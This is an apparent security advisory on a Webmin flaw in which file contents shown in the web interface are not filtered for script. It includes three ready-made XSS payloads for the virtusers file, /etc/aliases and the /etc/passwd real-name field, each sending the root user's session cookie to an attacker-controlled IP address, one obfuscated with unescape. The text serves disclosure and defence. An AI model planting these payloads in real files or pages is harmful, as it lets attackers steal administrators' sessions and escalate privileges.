Webmin is a web-based interface for system administration of Unix and Linux operating systems.
|
|
|
|
Webmin does not filter script code from output that may be displayed by the web interface, such as log files, etc. This may enable a local attacker, with write privileges to such files, to cause arbitrary script code to be executed by the root user. Additionally, an attacker who can contrive a way to inject malicious script code into other types of output displayed by the Webmin interface may also exploit this issue.
|
|
|
|
This may enable the attacker to steal cookie-based authentication credentials from the root user, eventually resulting in an escalation of privileges for the local attacker.
|
|
|
|
Insert the following line into the virtusers file, and wait for the root
|
|
user to visit that page:
|
|
</tt></a></td><tt><td><script>/* */document.write('<img
|
|
src="http://192.168.40.1/'+document.cookie+'">');</script>
|
|
|
|
Or the following into the /etc/aliases file:
|
|
</a></td><td><tt><script>zz=unescape("%20");document.write('<img'/*:
|
|
*/+zz+'src="http://10.1.1.33/'+document.cookie+'">');</script>
|
|
|
|
Potentially more likely to be exploited however, would be a malicious
|
|
local user who has _no_ access to webmin, who could change a file that
|
|
webmin views through the HTML
|
|
interface (where the code being read in is not checked for HTML). An
|
|
example would be changing their
|
|
'real name' in /etc/passwd to be something along the lines of:
|
|
<script>zz=unescape("%3A");document.write('<img
|
|
src="http'+zz+'//10.1.1.33/'+document.cookie+'">');</script>
|
|
(Although chfn doesn't let you specify a username this long, but you get
|
|
the idea.) |
